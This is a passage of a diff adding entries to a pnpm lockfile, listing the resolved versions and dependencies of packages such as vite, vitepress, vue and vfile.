+ + update-browserslist-db@1.1.3(browserslist@4.24.4): + dependencies: + browserslist: 4.24.4 + escalade: 3.2.0 + picocolors: 1.1.1 + + update-browserslist-db@1.2.3(browserslist@4.28.1): + dependencies: + browserslist: 4.28.1 + escalade: 3.2.0 + picocolors: 1.1.1 + + uri-js@4.4.1: + dependencies: + punycode: 2.3.1 + + vfile-message@4.0.3: + dependencies: + '@types/unist': 3.0.3 + unist-util-stringify-position: 4.0.0 + + vfile@6.0.3: + dependencies: + '@types/unist': 3.0.3 + vfile-message: 4.0.3 + + vite@6.3.3(jiti@2.6.1)(lightningcss@1.32.0): + dependencies: + esbuild: 0.25.3 + fdir: 6.4.4(picomatch@4.0.2) + picomatch: 4.0.2 + postcss: 8.5.8 + rollup: 4.40.0 + tinyglobby: 0.2.13 + optionalDependencies: + fsevents: 2.3.3 + jiti: 2.6.1 + lightningcss: 1.32.0 + + vite@7.2.7(jiti@2.6.1)(lightningcss@1.32.0): + dependencies: + esbuild: 0.25.3 + fdir: 6.5.0(picomatch@4.0.3) + picomatch: 4.0.3 + postcss: 8.5.8 + rollup: 4.53.3 + tinyglobby: 0.2.15 + optionalDependencies: + fsevents: 2.3.3 + jiti: 2.6.1 + lightningcss: 1.32.0 + + vitepress@2.0.0-alpha.15(axios@1.11.0)(jiti@2.6.1)(lightningcss@1.32.0)(postcss@8.5.8)(typescript@5.9.3): + dependencies: + '@docsearch/css': 4.3.2 + '@docsearch/js': 4.3.2 + '@iconify-json/simple-icons': 1.2.62 + '@shikijs/core': 3.20.0 + '@shikijs/transformers': 3.20.0 + '@shikijs/types': 3.20.0 + '@types/markdown-it': 14.1.2 + '@vitejs/plugin-vue': 6.0.3(vite@7.2.7(jiti@2.6.1)(lightningcss@1.32.0))(vue@3.5.25(typescript@5.9.3)) + '@vue/devtools-api': 8.0.5 + '@vue/shared': 3.5.25 + '@vueuse/core': 14.1.0(vue@3.5.25(typescript@5.9.3)) + '@vueuse/integrations': 14.1.0(axios@1.11.0)(focus-trap@7.6.6)(vue@3.5.25(typescript@5.9.3)) + focus-trap: 7.6.6 + mark.js: 8.11.1 + minisearch: 7.2.0 + shiki: 3.20.0 + vite: 7.2.7(jiti@2.6.1)(lightningcss@1.32.0) + vue: 3.5.25(typescript@5.9.3) + optionalDependencies: + postcss: 8.5.8 + transitivePeerDependencies: + - '@types/node' + - async-validator + - axios + - change-case + - drauu + - fuse.js + - idb-keyval + - jiti + - jwt-decode + - less + - lightningcss + - nprogress + - qrcode + - sass + - sass-embedded + - sortablejs + - stylus + - sugarss + - terser + - tsx + - typescript + - universal-cookie + - yaml + + vue@3.5.25(typescript@5.9.3): + dependencies: + '@vue/compiler-dom': 3.5.25 + '@vue/compiler-sfc': 3.5.25 + '@vue/runtime-dom': 3.5.25 + '@vue/server-renderer': 3.5.25(vue@3.5.25(typescript@5.9.3)) + '@vue/shared': 3.5.25 + optionalDependencies: + typescript: 5.9.3 + + which@2.0.2: + dependencies: + isexe: 2.0.0 + + word-wrap@1.2.5: {} + + yallist@3.1.1: {} + + yocto-queue@0.1.0: {} + + zwitch@2.0.4: {}